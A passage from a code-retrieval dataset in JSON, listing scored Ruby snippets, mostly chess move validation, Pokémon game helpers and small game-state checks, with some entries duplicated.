Pieces::Pawn && piece.legal_list(square, r).all? { |t| square(t) == \" \" }\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "77c2840f9060528c8a7d61d79a3d376b",
"score": "0.55359346",
"text": "def pbCanChooseMovePartial?(idxPokemon,idxMove)\r\n thispkmn = @battlers[idxPokemon]\r\n thismove = thispkmn.moves[idxMove]\r\n return false if !thismove\r\n return false if thismove.pp<=0\r\n if thispkmn.effects[PBEffects::ChoiceBand] &&\r\n thismove.id!=thispkmn.effects[PBEffects::ChoiceBand] &&\r\n thispkmn.hasActiveItem?(:CHOICEBAND)\r\n return false\r\n end\r\n # though incorrect, just for convenience (actually checks Torment later)\r\n if thispkmn.effects[PBEffects::Torment] && thispkmn.lastMoveUsed\r\n return false if thismove.id==thispkmn.lastMoveUsed\r\n end\r\n return true\r\n end",
"title": ""
},
{
"docid": "d3b7024de5c6f8e19cfb162080b95c3e",
"score": "0.553216",
"text": "def pending_promotions?\n !pending_promotions.empty?\n end",
"title": ""
},
{
"docid": "f55b4ff06b092e2cfcdfb3f67f50453f",
"score": "0.55321413",
"text": "def has_valid_piece?\n piece_to_move && right_piece_type? && right_piece_color?\n end",
"title": ""
},
{
"docid": "604eb9f79a327ace8cf43327fea60aa8",
"score": "0.55115044",
"text": "def can_pester?(username)\n userinfo(username).pesters_left > 0\n end",
"title": ""
},
{
"docid": "604eb9f79a327ace8cf43327fea60aa8",
"score": "0.5511165",
"text": "def can_pester?(username)\n userinfo(username).pesters_left > 0\n end",
"title": ""
},
{
"docid": "604eb9f79a327ace8cf43327fea60aa8",
"score": "0.551116",
"text": "def can_pester?(username)\n userinfo(username).pesters_left > 0\n end",
"title": ""
},
{
"docid": "604eb9f79a327ace8cf43327fea60aa8",
"score": "0.551116",
"text": "def can_pester?(username)\n userinfo(username).pesters_left > 0\n end",
"title": ""
},
{
"docid": "604eb9f79a327ace8cf43327fea60aa8",
"score": "0.551116",
"text": "def can_pester?(username)\n userinfo(username).pesters_left > 0\n end",
"title": ""
},
{
"docid": "8b288140561d0c665c0ad97fb98d51a2",
"score": "0.55074716",
"text": "def on_piece?\n $app.platforms.any? { |_|\n _.pieces.any? { |piece| (piece[0]..piece[0]+Platform::WIDTH).include?(left) && top == piece[1]-Platform::HEIGHT-8 }\n }\n end",
"title": ""
},
{
"docid": "eaec913363ba5a6f7ec7b29ac1f89c65",
"score": "0.54950327",
"text": "def stop_if_not_passable\n ## TODO: BUGGED: STOPS IF HITS WATER\n tempx = ($game_map.screen.pictures[@picture_index].x) / 32\n tempy = ($game_map.screen.pictures[@picture_index].y) / 32\n if $game_map.check_passage(tempx.round, tempy.round, 0x0200) || $game_map.check_passage(tempx.round, tempy.round, 0x0400)\n return true\n else\n if $game_map.check_passage(tempx.round, tempy.round, 0x0f) #|| $game_map.check_passage(tempx.round, tempy.round, 0x0800)\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "ac5a3562ec5d7564720b97641fbb548d",
"score": "0.5471296",
"text": "def pbBoxesFull?\n return !$Trainer || ($Trainer.party.length==6 && $PokemonStorage.full?)\nend",
"title": ""
},
{
"docid": "003e196af284159f60e0c8293be7a019",
"score": "0.5470008",
"text": "def can_set_appt?\n has_pixan? && !is_completed?\n end",
"title": ""
},
{
"docid": "606e8db6174b8561accf25385714267c",
"score": "0.5462848",
"text": "def promotion_menu\n\t\tputs \" PAWN PROMOTION !!!\"\n\t\tputs \"\\nSelect a number to promote your pawn to a class:\"\n\t\tputs \" (1)Queen, (2)Rook, (3)Bishop or (4)Knight\\n\"\n\t\twhile @board[@player_play[1]].name == \"pawn\"\n\t\t\tinput = gets.chomp\n\t\t\tif (\"1\"..\"4\").include?(input)\n\t\t\t\tcase input\n\t\t\t\twhen \"1\"\n\t\t\t\t\t@board[@player_play[1]].name = \"queen\"\n\t\t\t\twhen \"2\"\n\t\t\t\t\t@board[@player_play[1]].name = \"rook\"\n\t\t\t\twhen \"3\"\n\t\t\t\t\t@board[@player_play[1]].name = \"bishop\"\n\t\t\t\twhen \"4\"\n\t\t\t\t\t@board[@player_play[1]].name = \"knight\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"\\nError! please enter a number 1 - 4\"\n\t\t\tend\n\t\tend\n\t\t@board[@player_play[1]].color = @current_player.color\n\t\tchange_player\n\tend",
"title": ""
},
{
"docid": "fdf2894a3a551e587cb1111cc5b7c65b",
"score": "0.5459191",
"text": "def cp_piece?(index)\n\t\tif index==nil\n\t\t\treturn false\n\t\telse \n\t\t\t@board[index]== $current_player\n\t\tend \n\tend",
"title": ""
},
{
"docid": "3b6925835b380ee19090752c9140bc6e",
"score": "0.54491305",
"text": "def valid_white_pawn(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n pawncross = \"\"\n\n return false if white_owned(x1,y1)\n\n if x1 == x && y1 == y+1 && @b[x1][y1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @WP\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n elsif x1 == x && y1 == y+2 && y == 1 && @b[x1][y1] == \" \" && @b[x][y+1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @WP\n return true\n elsif x1 == x+1 && y1 == y+1 && black_owned(x1,y1)\n @black_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n elsif x1 == x-1 && y1 == y+1 && black_owned(x1,y1)\n @black_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "915ff942bb92bd9d03f83339d63bf978",
"score": "0.5447739",
"text": "def valid_black_pawn(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n pawncross = \"\"\n\n return false if black_owned(x1,y1)\n\n if x1 == x && y1 == y-1 && @b[x1][y1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @BP\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n elsif x1 == x && y1 == y-2 && y == 6 && @b[x1][y1] == \" \" && @b[x][y-1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @BP\n return true\n elsif x1 == x-1 && y1 == y-1 && white_owned(x1,y1)\n @white_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n elsif x1 == x+1 && y1 == y-1 && white_owned(x1,y1)\n @white_piece.push(@b[x1][y1])\n @b[x1][y1] = @BP\n @b[x][y] = \" \"\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "b28be4272ce1b68f5cab8bd76eb85140",
"score": "0.5434908",
"text": "def pbCanUsePokeRadar?\r\n # Can't use Radar if not in tall grass\r\n terrain = $game_map.terrain_tag($game_player.x,$game_player.y)\r\n if !terrain.land_wild_encounters || !terrain.shows_grass_rustle\r\n pbMessage(_INTL(\"Can't use that here.\"))\r\n return false\r\n end\r\n # Can't use Radar if map has no grass-based encounters (ignoring Bug Contest)\r\n if !$PokemonEncounters.has_normal_land_encounters?\r\n pbMessage(_INTL(\"Can't use that here.\"))\r\n return false\r\n end\r\n # Can't use Radar while cycling\r\n if $PokemonGlobal.bicycle\r\n pbMessage(_INTL(\"Can't use that while on a bicycle.\"))\r\n return false\r\n end\r\n # Debug\r\n return true if $DEBUG && Input.press?(Input::CTRL)\r\n # Can't use Radar if it isn't fully charged\r\n if $PokemonGlobal.pokeradarBattery && $PokemonGlobal.pokeradarBattery>0\r\n pbMessage(_INTL(\"The battery has run dry!\\nFor it to recharge, you need to walk another {1} steps.\",\r\n $PokemonGlobal.pokeradarBattery))\r\n return false\r\n end\r\n return true\r\nend",
"title": ""
},
{
"docid": "96818f32475bd855e299a3a3541bbf4b",
"score": "0.54234517",
"text": "def test_move_should_not_change_peice_properties\n board = RulesEngine.new()\n src = A2\n dest = A3\n board.move_piece(src, dest)\n assert(board.sq_at(src).piece.nil?)\n assert(!board.sq_at(dest).piece.nil?)\n assert(board.sq_at(dest).piece.colour.white?)\n assert(board.sq_at(dest).piece.name == Chess::Piece::PAWN)\n end",
"title": ""
},
{
"docid": "969be19cf25e0a2678fc52dbf9e15052",
"score": "0.54164183",
"text": "def has_possible_moves\n \t\t@mowers.each do |mower|\n \t\t\treturn true if mower.can_move?(lawn_mowers_positions)\n\t \tend\n \t\treturn false\n \tend",
"title": ""
},
{
"docid": "b4847e1a47fe4be79ecbc1c74a083322",
"score": "0.54159147",
"text": "def par?\n cuantos_pares >= 1\n end",
"title": ""
},
{
"docid": "ce29ff22478f3c616e71771fd3da3b8c",
"score": "0.5407672",
"text": "def is_playable?\n is_playable = false\n x = 0\n while ((x < self.width) && (!is_playable))\n is_playable = (@assignment[x][0] == nil);\n x += 1\n end\n is_playable\n end",
"title": ""
},
{
"docid": "821655351a02f65656071b873864ee45",
"score": "0.54031736",
"text": "def whisper?\n @command.eql? 'WHISPER'.freeze\n end",
"title": ""
},
{
"docid": "771440f9d49f6306cbab92f339a8d13a",
"score": "0.54006237",
"text": "def won?(state)\n pieces = state[:pieces]\n player = opponent(state[:player])\n # pieces[player].empty?\n king = pieces[player].find { |piece| piece.class == ChessKing }\n !king\n end",
"title": ""
},
{
"docid": "9f2927d68d411324cd77272a8ec8b1dc",
"score": "0.5396579",
"text": "def legal_move?(new_x, new_y)\n return false unless actual_move?(new_x, new_y)\n return_val = false\n piece_moved_start_x = x_position\n piece_moved_start_y = y_position\n piece_captured = nil\n piece_captured_x = nil\n piece_captured_y = nil\n # check if you are moving pawn in en passant capture of enemy pawn\n if type == PAWN && !square_occupied?(new_x, new_y)\n if (new_x - piece_moved_start_x).abs == 1 && (new_y - piece_moved_start_y).abs == 1\n piece_captured = game.get_piece_at_coor(new_x, piece_moved_start_y)\n piece_captured_x = new_x\n piece_captured_y = piece_moved_start_y\n end\n end\n # return false if move is invalid for this piece for any of the reasons checked in piece #valid_move?\n return false unless valid_move?(new_x, new_y)\n # If square is occupied, respond according to whether piece is occupied by friend or foe\n if square_occupied?(new_x, new_y)\n occupying_piece = game.get_piece_at_coor(new_x, new_y)\n return false if (occupying_piece.is_white && is_white?) || (!occupying_piece.is_white && !is_white?)\n # since player is trying to capture a friendly piece\n piece_captured = occupying_piece\n piece_captured_x = occupying_piece.x_position\n piece_captured_y = occupying_piece.y_position\n capture_piece(occupying_piece)\n end\n # only here do we update coordinates of piece moved, once we have saved all starting coordinates of piece moved and any piece it captured\n update(x_position: new_x, y_position: new_y)\n increment_move\n return_val = true unless game.check?(is_white)\n update(x_position: piece_moved_start_x, y_position: piece_moved_start_y)\n piece_captured.update(x_position: piece_captured_x, y_position: piece_captured_y) unless piece_captured.nil?\n decrement_move\n return_val\n end",
"title": ""
},
{
"docid": "48dba41fc60f3a36cf4c706f94708250",
"score": "0.53937167",
"text": "def not_jumping_when_obligated(gameboard, piece)\n gameboard.must_jump?(piece.color) && piece.possible_jumps.empty?\n end",
"title": ""
},
{
"docid": "b8e6ad3bc150b25114e54c0ed3e64374",
"score": "0.53857213",
"text": "def win?\n milestones.each do |mile|\n return false unless mile.status == 'Aprobado'\n end\n true\n end",
"title": ""
},
{
"docid": "0275e831fad8d0f26e74399e6ac5caa1",
"score": "0.53820777",
"text": "def win?(player,piece)\n\t\twin_possibilities(piece).each do |possibility|\n\t\t\treturn true if possibility - player.pieces == []\n\t\tend\n\t\tfalse\n\tend",
"title": ""
},
{
"docid": "740ca081b5647d17ee5b971c8f977c56",
"score": "0.5377764",
"text": "def slot_contain_pokemon?(index)\n return @boxes[@current_box][index].class == ::PFM::Pokemon\n end",
"title": ""
},
{
"docid": "7e0557516adf8302da6f67151887ca11",
"score": "0.5363542",
"text": "def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "0a6ff1730e1b37330d5b15299de0ff11",
"score": "0.5358793",
"text": "def stalemate?\n\t\tpieces = @board.board.select { |square, piece| piece.class != String && piece.white == @player.white }\n\t\tperi = [-17,-15,-10,-9,-8,-7,-6,-1,1,6,7,8,9,10,15,17]\n\t\tpieces.each do |from, piece|\n\t\t\tperi.each do |to|\n\t\t\t\tif piece.legal_move?(from, calc_move(from, to)) && (square(calc_move(from, to)) == \" \" || square(calc_move(from, to)).white != @player.white)\n\t\t\t\t\tunless getting_into_check?(from, calc_move(from, to))\n\t\t\t\t\t\tif (piece.class == Pieces::Pawn && square(calc_move(from, to)) == \" \") || piece.class == Pieces::King\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\telsif piece.class == Pieces::Knight && from[1] != to[1]\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\telsif piece.class != Pieces::Pawn && piece.legal_list(from, calc_move(from, to)).all? { |t| square(t) == \" \" }\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telsif piece.class == Pieces::Pawn && [7,9].any? { |t| calc_move(from, t) == to } && piece.white\n\t\t\t\t\treturn false\n\t\t\t\telsif piece.class == Pieces::Pawn && [-7,-9].any? { |t| calc_move(from, t) == to } && !piece.white\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tunless check?(@board.board)\n\t\t\t@stalemate = true\n\t\t\treturn true\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7daa72fa761dad83f30ee2a23e41872a",
"score": "0.5352583",
"text": "def test_white_pawn_in_centre_should_attack_upwards()\n b = RulesEngine.new()\n place_pieces(b, \"\n --------\n --------\n --------\n -B-B----\n --p-----\n --------\n --------\n --------\n \")\n bv = b.calc_attk_pawn(C4)\n\n expected = \"\n --------\n --------\n --------\n -*-*----\n --------\n --------\n --------\n --------\n \"\n assert_bv_equals(expected, bv)\n end",
"title": ""
},
{
"docid": "ecf929dc7ef97d1862ec4169370ecd83",
"score": "0.5352387",
"text": "def disambiguate_pawns(possibilities)\n if move.piece.match(/p/i) && !move.capture\n possibilities.reject { |p| board.position_for(p).match(/2|7/) }\n else\n possibilities\nend\n end",
"title": ""
},
{
"docid": "cb28c1840a2de3ff8105633919b52dab",
"score": "0.5343024",
"text": "def has_possible_moves\n \t\t@mowers.each do |mower|\n \t\t\treturn true if mower.can_move? && !mower.is_going_outside?(lawn_x, lawn_y)\n\t \tend\n \t\treturn false\n \tend",
"title": ""
},
{
"docid": "8dd751ccc7a59ba8a6abce5ea623a201",
"score": "0.5341822",
"text": "def pause?\n\t\t\treturn account_life_cycle_status == PAUSE \n\t\tend",
"title": ""
},
{
"docid": "3ac533413a4dbb1bff0be070104f8714",
"score": "0.53411484",
"text": "def pre_check_legal_moves(state)\n player = state[:player]\n piece_list = state[:pieces][player]\n move_list = []\n # Loop over pieces\n piece_list.each do |piece|\n move_list += piece.legal_moves(state)\n end\n move_list\n end",
"title": ""
},
{
"docid": "de33a9b0ce4fcd5e6259dca7f54876a5",
"score": "0.5340354",
"text": "def enabled?\n return false unless Licensed::Shell.tool_available?(\"pnpm\")\n File.exist?(File.join(config.pwd, \"pnpm-lock.yaml\"))\n end",
"title": ""
},
{
"docid": "b34fb9575e26fb3885c15074369eb2bf",
"score": "0.5336008",
"text": "def game_over?\n @players.all? {|p| p.last_turn == \"skipped turn\"} || (@letter_bank.empty? && current_player.rack_empty?)\n end",
"title": ""
},
{
"docid": "44759894a3febd405bb464de1343d63b",
"score": "0.53326637",
"text": "def pvp_define?\n !pvp.blank?\n end",
"title": ""
},
{
"docid": "244d9471769c03082b5810ca188ea22e",
"score": "0.5331508",
"text": "def pingable?\n true\n end",
"title": ""
},
{
"docid": "fe7edf7a924bbf2169b9d94a9090ab30",
"score": "0.5327578",
"text": "def isOpped(m) \n return true if m.user.nick == 'godzirra'\n\n if m.channel\n @bot.debug \"Channel #{m.channel} and opped #{m.channel.opped? m.user}\"\n return m.channel.opped? m.user\n else\n @bot.channels.each do |chan| \n if chan.opped? m.user\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "f42bcea2abdbc974a956f73e7f5fa9e8",
"score": "0.5325088",
"text": "def valid_move? move\n@board[move] == PIECE[:blank]\nend",
"title": ""
},
{
"docid": "f129b8dca4d724dce6c2be9758eddad4",
"score": "0.5324369",
"text": "def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end",
"title": ""
},
{
"docid": "b947e7572fbef021a08641eb78856fb0",
"score": "0.5322249",
"text": "def won_game?\n @points > @opponent.points + 1 && @points >= 3\n end",
"title": ""
},
{
"docid": "52d7e9590e8980d42e2b8f4bbc955c94",
"score": "0.5321465",
"text": "def player_won?\n victory = false\n @board.each do |key, value|\n victory = calculate_possible_lines(key).any? do |line|\n \tline.all? do |location|\n next if @board[location] == nil\n @board[location].color == @current_player\n \tend\n end\n return true if victory == true\n end\n false\n end",
"title": ""
},
{
"docid": "671dd7a70aaa0b7799349ee6050fbff0",
"score": "0.53188276",
"text": "def allowed?\n return self.connected_to_padma?\n end",
"title": ""
},
{
"docid": "a58682cf67304d93e0610521300c3097",
"score": "0.5315063",
"text": "def is_pokemon_strong_against(launcher, target)\n useless = true\n max_mod = 0\n # Useless check\n launcher.skills_set.each do |skill|\n if !skill.status?\n if (mod = BattleEngine::_type_modifier_calculation(target, skill)) > 0\n useless = false\n max_mod = mod if mod > max_mod\n end\n end\n end\n return nil if useless\n return true if max_mod >= 2\n return false\n end",
"title": ""
},
{
"docid": "71e37270f8e3a6440837aa7b619aa3d1",
"score": "0.5311541",
"text": "def promotion_check\n\t\tif @player_play[1][1] == \"8\" && @current_player.color == \"white\"\n\t\t\tpromotion_menu\n\t\telsif @player_play[1][1] == \"1\" && @current_player.color == \"black\"\n\t\t\tpromotion_menu\n end\n\tend",
"title": ""
},
{
"docid": "a622dab2f3861681a43ea84fe769e467",
"score": "0.53064924",
"text": "def player_win?(n)\n self.wins.each do |win| \n return true if (player_moves(\"#{n}\") & win).count == self.win_length\n end\n return false\n end",
"title": ""
},
{
"docid": "24abd5aede6d33f51db241e2f8381194",
"score": "0.53013444",
"text": "def pbPokeCenterPC\n Kernel.pbMessage(_INTL(\"\\\\se[computeropen]{1} booted up the PC.\",$Trainer.name))\n loop do\n commands=PokemonPCList.getCommandList()\n command=Kernel.pbMessage(_INTL(\"Which PC should be accessed?\"),\n commands,commands.length)\n if !PokemonPCList.callCommand(command)\n break\n end\n end\n pbSEPlay(\"computerclose\")\n $PokemonTemp.dependentEvents.refresh_sprite\nend",
"title": ""
},
{
"docid": "bdd5b189fa7120b982012fba6424621e",
"score": "0.5296263",
"text": "def percolates?\n end",
"title": ""
},
{
"docid": "08d90157724f408203e0b0f722b6c585",
"score": "0.52939",
"text": "def possible_pawn_moves(start_arr)\n\t\tx = start_arr[1]\n\t\ty = start_arr[0]\n\t\tcandidates = []\n\t\tcandidates << [y+1, x]\n\t\t# If pawn has not moved before, it can take a double step straight forward.\n\t\tif y == 1\n\t\t\tcandidates << [y+2, x]\n\t\tend\n\t\tchoices = []\n\t\t# Not a candidate if player's own pieces in the way\n\t\tcandidates.delete_if do |pos|\n\t\t\tif !(@board[pos] == \"*\") && (@board[pos].color == @board[start_arr].color)\n\t\t\t\ttrue\n\t\t\tend\n\t\tend\n\t\t# Can only move up 2 pieces if no pieces in the way.\n\t\tif (candidates.include? [y+2, x]) && !(candidates.include? [y+1,x])\n\t\t\tcandidates = []\n\t\tend\n\t\t# Make sure possible move is on the board\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\tend",
"title": ""
},
{
"docid": "2568051b830bd0d0066a2d1cfcf7ea70",
"score": "0.5282939",
"text": "def existing_promotions?\n !existing_promotions.empty?\n end",
"title": ""
},
{
"docid": "eb85230c70c8445b995ee720ae11118e",
"score": "0.5281823",
"text": "def promote!(x, y)\n if promotable?(x, y)\n piece = piece_at(x, y)\n piece.update_attributes(x_position: nil, y_position: nil)\n piece.reload\n game.pieces.create(piece_type: \"Queen\", x_position: x, y_position: y, state: 'promoted-piece', color: color)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "cdcb32b0c62d727f7f92e06616f762ff",
"score": "0.5279166",
"text": "def is_obstructed?(dest_x, dest_y) \n\n # Checks to see if destination is outside board bounds\n return true if dest_x < 1 || dest_x > 8 || dest_y < 1 || dest_y > 8 \n\n # Checks to see if destination is occupied by a friend\n return true if self.game.is_occupied?(dest_x, dest_y) && self.player == self.game.pieces.where(position_x:dest_x, position_y: dest_y).first.player\n\n return false if self.type == \"Knight\"\n\n if self.position_y == dest_y # Horizontal movement\n if self.position_x < dest_x # East\n (position_x + 1).upto(dest_x - 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n else # West\n (position_x - 1).downto(dest_x + 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n end \n elsif self.position_x == dest_x # Vertical movement\n if self.position_y < dest_y # North\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n else # South\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n end \n elsif #Diagonal movement\n if self.position_x < dest_x && self.position_y < dest_y # Northeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y < dest_y # Northwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x < dest_x && self.position_y > dest_y # Southeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y > dest_y # Southwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end\n end \n end \n false\n end",
"title": ""
},
{
"docid": "cdcb32b0c62d727f7f92e06616f762ff",
"score": "0.5279166",
"text": "def is_obstructed?(dest_x, dest_y) \n\n # Checks to see if destination is outside board bounds\n return true if dest_x < 1 || dest_x > 8 || dest_y < 1 || dest_y > 8 \n\n # Checks to see if destination is occupied by a friend\n return true if self.game.is_occupied?(dest_x, dest_y) && self.player == self.game.pieces.where(position_x:dest_x, position_y: dest_y).first.player\n\n return false if self.type == \"Knight\"\n\n if self.position_y == dest_y # Horizontal movement\n if self.position_x < dest_x # East\n (position_x + 1).upto(dest_x - 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n else # West\n (position_x - 1).downto(dest_x + 1) do |x|\n return true if self.game.is_occupied?(x, dest_y)\n end \n end \n elsif self.position_x == dest_x # Vertical movement\n if self.position_y < dest_y # North\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n else # South\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(dest_x, y)\n end \n end \n elsif #Diagonal movement\n if self.position_x < dest_x && self.position_y < dest_y # Northeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y < dest_y # Northwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y + 1).upto(dest_y - 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x < dest_x && self.position_y > dest_y # Southeast\n (position_x + 1).upto(dest_x - 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end \n elsif self.position_x > dest_x && self.position_y > dest_y # Southwest\n (position_x - 1).downto(dest_x + 1) do |x|\n (position_y - 1).downto(dest_y + 1) do |y|\n return true if self.game.is_occupied?(x, y) && (x - position_x).abs == (y - position_y).abs\n end \n end\n end \n end \n false\n end",
"title": ""
},
{
"docid": "1f528ab6c18e7132f99583706fed472b",
"score": "0.5278413",
"text": "def p2pkh?\n false\n end",
"title": ""
},
{
"docid": "508940d28783cfd81fc71d981debffe5",
"score": "0.5274646",
"text": "def tengo_propietario\n return !@propietario.nil?\n end",
"title": ""
},
{
"docid": "99d50023afa4df286d02a1e925aed3a3",
"score": "0.527249",
"text": "def in_check(player, board)\r\n king_loc = find_my_king(player, board)\r\n dangerous_player = offending_player(king_loc, player, board)\r\n if dangerous_player.nil?\r\n return false \r\n end\r\n return true\r\n end",
"title": ""
},
{
"docid": "36b53e9081d1348a3658da97f065ddd3",
"score": "0.52724844",
"text": "def checkRespawn\n @respawnArray.each do |respawn|\n if @player.x > respawn[0] and respawn[0] > respawnX\n @respawnX = respawn[0]\n @respawnY = respawn[1]\n end\n end\n end",
"title": ""
},
{
"docid": "cdd84ff43b5caa42db4b67e5e7b2dc68",
"score": "0.5269618",
"text": "def can_battle_continue?\n return false if @battle_result >= 0\n banks_that_can_fight = []\n @battlers.each_with_index do |battler_bank, bank|\n battler_bank.each do |battler|\n break(banks_that_can_fight << bank) if battler&.can_fight?\n end\n end\n # It's a victory if the player still have a Pokemon on its bank\n if banks_that_can_fight.size <= 1\n @battle_result = banks_that_can_fight.include?(0) ? 0 : 1\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "84f331101eeefc00bb85e253f94b6b4c",
"score": "0.5269378",
"text": "def possible_move?(origin_piece, test_row, test_col)\n if !board.piece_exists?(test_row,test_col) ||\n board.piece_team(test_row,test_col) != board.piece_team(origin_piece.row,origin_piece.col)\n if origin_piece.class == Pawn\n pawn_possible_move?(origin_piece, test_row, test_col)\n else\n true\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "898b5da6757989239c7cf0932eb72de0",
"score": "0.5267909",
"text": "def can_attack?(target_piece)\n self.movable_squares.include? target_piece.pos\n end",
"title": ""
},
{
"docid": "b821fc12dd00bd37be9f786b5d3770ac",
"score": "0.5266469",
"text": "def move_player (start, stop, piece)\r\n $board[stop[0]][stop[1]] = piece\r\n $board[start[0]][start[1]] = nil \r\n $board[stop[0]][stop[1]].turn += 1\r\n @prev_coord= [stop[0], stop[1]]\r\n @prev_delta_y = (stop[1] - start[1]).abs\r\n if piece.class == Pawn and (stop[1] == 7 or stop[1] == 0)\r\n promotion(stop, piece)\r\n end \r\n end",
"title": ""
},
{
"docid": "9c010f8715ffaaee05116571bc9f9ec0",
"score": "0.5260841",
